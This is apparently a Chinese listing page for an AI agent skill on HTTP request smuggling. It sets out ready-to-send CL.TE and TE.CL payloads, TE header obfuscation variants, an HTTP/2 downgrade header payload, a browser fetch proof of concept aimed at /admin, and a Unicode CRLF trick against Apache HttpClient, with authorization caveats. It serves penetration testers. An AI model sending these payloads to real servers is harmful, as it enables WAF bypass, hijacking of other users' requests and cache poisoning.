关于 request-smuggling
面向安全测试人员的 HTTP 请求走私测试技能,用于识别并验证不同处理节点对消息边界的解析差异。内容涵盖 CL.TE、TE.CL、TE.TE、HTTP/2 降级和客户端侧 desync,并强调仅在授权范围内测试。
主要功能
- 01CL.TE、TE.CL 与 TE.TE 测试
- 02HTTP/2 降级与伪标头分析
- 03客户端侧 desync 场景
- 04Burp Suite 与脚本工具指引
- 05授权测试与影响控制建议
适用场景
- 01检查代理与源站的请求边界差异
- 02调查 HTTP/2 降级后的异常请求拼接
- 03在授权范围内验证缓存或队列影响
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill request-smuggling安装后在 Claude Code 中输入/request-smuggling确认已加载。
附带文件H2_SMUGGLING_VARIANTS.md
详细介绍
技能:HTTP 请求走私——专家攻击手册
AI 加载指令:专家级 HTTP 解析差异技术。涵盖 CL.TE、TE.CL、TE.TE 混淆变体、HTTP/2 降级与伪标头混淆、客户端侧解析差异(浏览器
fetch管线)以及工具辅助模糊测试。假定读者熟悉原始 HTTP/1.1 分帧和反向代理拓扑。这不是“标头注入”——而是各跳之间的消息边界不一致。
路由说明:当你怀疑 CDN/反向代理与源站对请求结束边界的判断不一致,或者 H2 降级为 H1 时出现异常拼接,请加载此技能。
0. 相关路由
- 当 HTTP 客户端库为 Apache HttpClient <= 4.5.9(HTTPCLIENT-1974/1978)时,使用 ghost-bits-cast-attack——向标头值注入
瘍瘊(U+760D U+760A,低字节为\r\n),会使底层的字符到字节写入器输出字面 CRLF,从而在源站拆分请求,无需依赖 CL/TE 不一致
1. 快速入门
CL.TE 首次探测(前端信任 CL,后端信任分块编码)
假设:前端优先采用 Content-Length,后端优先采用 Transfer-Encoding: chunked。使用非常短的 CL,使前端接受一个伪造的结束位置,而后端继续解析分块,并将剩余字节留给下一个请求。
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
- 前端根据
Content-Length: 13只读取 13 个字节(即0\r\n\r\nSMUGGLED,总计 13 个字节),并认为请求已完成。 - 后端按分块编码解析:在
0结束块之后,会将SMUGGLED及其后的内容视为下一个请求的起始字节流。
TE.CL 首次探测(前端信任分块编码,后端信任 CL)
假设:前端解析分块编码,后端只读取 Content-Length。将 CL 设为分块长度行的字节数(通常为 4:两个十六进制字符加 \r\n),这样后端只会消耗长度行,并将其余内容留在缓冲区,以便后续请求拼接。
在分块中嵌入第二个请求(所有行尾均为 CRLF;35 十六进制分块长度 = 53 字节):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
在线路上,分块正文必须恰好为 53 个字节;如果更改路径/标头,请重新计算分块长度并相应更新十六进制长度行。
安全说明
仅在授权范围内测试;并发走私可能污染连接池、破坏缓存或影响其他租户。优先选择隔离环境或低流量时段。
1. 核心概念
定义:两个(或更多)HTTP 处理实体对同一个 TCP/TLS 流中第一个请求结束、第二个请求开始的位置判断不一致,使攻击者能够在一个逻辑请求中包含第二个请求的部分或全部内容。
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled B
与 CRLF 注入的区别:CRLF 通常注入到响应或标头行中;请求走私则针对 RFC 7230 消息分帧(Content-Length / chunked)的实现差异。
高价值影响:绕过 WAF 规则(前端请求中看不到走私的正文)、劫持共享源站连接上其他用户的请求(队列投毒)、助力缓存投毒,以及造成身份验证边界混淆。
2. CL.TE 漏洞
模式:前端信任 Content-Length;后端信任 Transfer-Encoding: chunked。
确切示例(与 §0 相同):同时存在 Content-Length: 13 和 Transfer-Encoding: chunked,正文为:
0\r\n\r\nSMUGGLED
字节数:0 + \r\n + \r\n + SMUGGLED = 13。
后端视角:分块流在 0\r\n\r\n 处结束;如果 SMUGGLED 以 METHOD SP 或其他有效请求前缀开头,它就会成为走私请求行前缀。
调整:如果目标对重复标头、大小写或空格敏感,可对 Transfer-Encoding 变体进行最小调整(见 §4),同时保持语义,以匹配前端忽略 TE、后端执行 TE 的组合。
3. TE.CL 漏洞
模式:前端按 chunked 解析;后端只读取 Content-Length(或读取的 CL 长度过短)。
意图:前端将整个恶意字节流视为正文;后端只读取 CL 指定的长度,将剩余字节留在缓冲区中,以便与后续合法请求拼接。
包含嵌入式第二个请求的完整 TE.CL(与 §0 属于同一类型;Content-Length: 4 + 第一行块长度 35\r\n):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
解释:
- 后端(CL):从消息正文起始处只读取 4 个字节 ->
35\r\n,标记正文读取完毕,并将剩余字节留在 TCP 读取缓冲区中。 - 前端(TE):将整个流解析为 chunked,并将
GET /admin...作为已结束的第一个请求的正文内容转发或消费(取决于产品);与后端的边界解释不一致,形成 TE.CL。
对于较长的请求走私(例如,POST + Content-Length: 11 + x=1),块长度约为 76(十六进制 0x76 = 118 字节);Content-Length: 4 仍可让后端只读取长度行。
实践注意事项:块长度必须是有效的十六进制数;第二个请求必须满足目标对 Host、路径和会话 cookie 的要求;时间窗口和连接复用策略决定你能否命中其他用户的请求。
4. TE.TE 漏洞
模式:前端和后端都声称会处理 Transfer-Encoding,但对哪个 TE 值有效或合法存在分歧 -> 仍会产生等效的不同步,其中一侧认为是 chunked,另一侧则不认为是。
使用以下 8 种混淆变体探测解析器差异(单行显示;\t 表示实际的 TAB):
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[TAB]chunked
(将 [TAB] 替换为实际的 \x09。)
Transfer-Encoding: chunked
(行首有一个空格。)
X: X
Transfer-Encoding: chunked
(上一行的值为 X,下一行以 Transfer-Encoding 开头:这使用了行续接 / 宽松的标头解析,因此某一跳可能会错误地合并或拆分行;X 与 Transfer-Encoding 之间的分隔符可能是 \n 或 \r\n,具体取决于目标技术栈。)
Transfer-Encoding
: chunked
(字段名和冒号位于不同的物理行;某些解析器仍会将其视为有效的 Transfer-Encoding: chunked。)
策略:对于每个(前端、后端)组合,逐一确认哪一侧会将每种变体视为 chunked,然后根据 §2/§3 将其映射为等效的 CL.TE 或 TE.CL。
5. HTTP/2 请求走私
H2 -> H1 降级
常见场景:边缘支持 HTTP/2,而源站使用 HTTP/1.1。如果实现未严格规范化标头字段和正文边界,你可能会发现:
- 伪标头到常规标头的映射顺序不正确;
- 禁止的标头(例如某些
Connection组合)被错误转发; - 重复标头的合并规则与源站不一致。
伪标头 / 标头注入式走私(概念载荷)
攻击面来自下游 H1 解析器将某些字节视为新请求的起始处。一种常见的研究 / CTF 方法是在标头值中放入近似请求的字节序列,让某一层忽略它们,而另一层将其按字面内容处理:
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target
含义:如果某一跳将完整字符串保留在标头值中,而下一跳在重构 H1 时错误拆分,那么解析可能会在 \r\n\r\n 处开始一个新的 GET / HTTP/1.1。
测试方向:
- 检查 H2 中
Transfer-Encoding/Content-Length的重复项和大小写处理方式(H2 要求小写,但转换层可能出错); - 检查
:method或:path包含异常字符时的降级行为; - 测试隧道或扩展 CONNECT 与请求走私之间的交互。
6. 客户端侧去同步
场景:浏览器对请求体的处理方式与中间件/源站不同,或 no-cors + 预检豁免允许发送非常规消息,从而产生类似经典 CL.TE/TE.CL 的队列效应(取决于架构)。
HEAD + GET 链:某些技术栈曾错误处理 HEAD 响应体、后续流水线请求或连接复用;请结合具体浏览器版本和目标代理行为进行验证。
JavaScript PoC 形式(示例:将包含 GET 的原始字节设为请求体,并使用 no-cors 和凭据):
fetch("https://target.example/vulnerable", {
method: "POST",
mode: "no-cors",
credentials: "include",
body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});
注意:浏览器安全模型会限制直接读取响应;成功时通常表现为同一连接上的其他请求受到影响,或服务器日志/行为异常,而不是直接读取响应。请结合 SOP、CORS 以及扩展程序/代理因素进行评估。
7. 工具
| 工具 | 用途 |
|---|---|
| Burp Suite — HTTP Request Smuggler(BApp Store) | 自动检测去同步问题、常见变体并检查时间差 |
| defparam/smuggler(GitHub) | 用于批量生成/发送请求走私探测的 Python 脚本 |
| dhmosfunk/simple-http-smuggler-generator(GitHub) | 快速组装原始 CL.TE / TE.CL 消息模板 |
使用建议:先被动确认存在 前端 + 源站两跳路径,再选择干扰最小的探测方式,并降低生产环境中的并发量。
8. 检测决策树
Start: reverse proxy / CDN in path?
|
NO -------------+------------- YES
| |
Low classic smuggling |
(still test H2 desync) v
Can you send TE + CL together?
|
NO -------------------+------------------- YES
| |
Test H2-only issues Front prefers which?
(pseudo-header, reset) |
+-------------------------------+-------------------------------+
| | |
CL wins TE wins errors /
| | connection
v v |
CL.TE probes TE.CL probes TE.TE obfuscation
(Sec 0,2) (Sec 0,3) (Sec 4)
| | |
v v v
Time / content / Adjust chunk Pairwise matrix:
queue poisoning sizes + CL which hop accepts
signals? alignment which variant?
| | |
+-------------------------------+-------------------------------+
|
v
Confirm with second request
smuggled (replay-safe)
or Collaborator-style side signal
高级参考
需要以下内容时,也请加载 H2_SMUGGLING_VARIANTS.md:
- 包含字节级载荷示例的 H2.CL 和 H2.TE 变体
- CL.0(连接关闭去同步)——技术与检测
- Fat GET 请求走私(GET 请求中的请求体)
- 请求走私 → 缓存投毒链(响应队列错位)
- 通过浏览器 Fetch API 进行客户端侧去同步(CSD),附带 JavaScript PoC 模板
- CDN/反向代理产品行为矩阵(HAProxy、Nginx、Apache、Cloudflare、AWS ALB、Envoy、Varnish 等)
12. 相关路由
- 输入进入解释器/查询语言/模板(而非 HTTP 帧处理) -> 注入测试路由器(然后深入检查 XSS、SQLi、SSTI 等)。
- 响应头拆分/Location CRLF -> CRLF 注入。
- 缓存与路径键混淆 -> Web 缓存欺骗。
确认问题属于 HTTP 消息边界问题而非参数注入后,请继续使用本技能,避免误入通用注入工作流。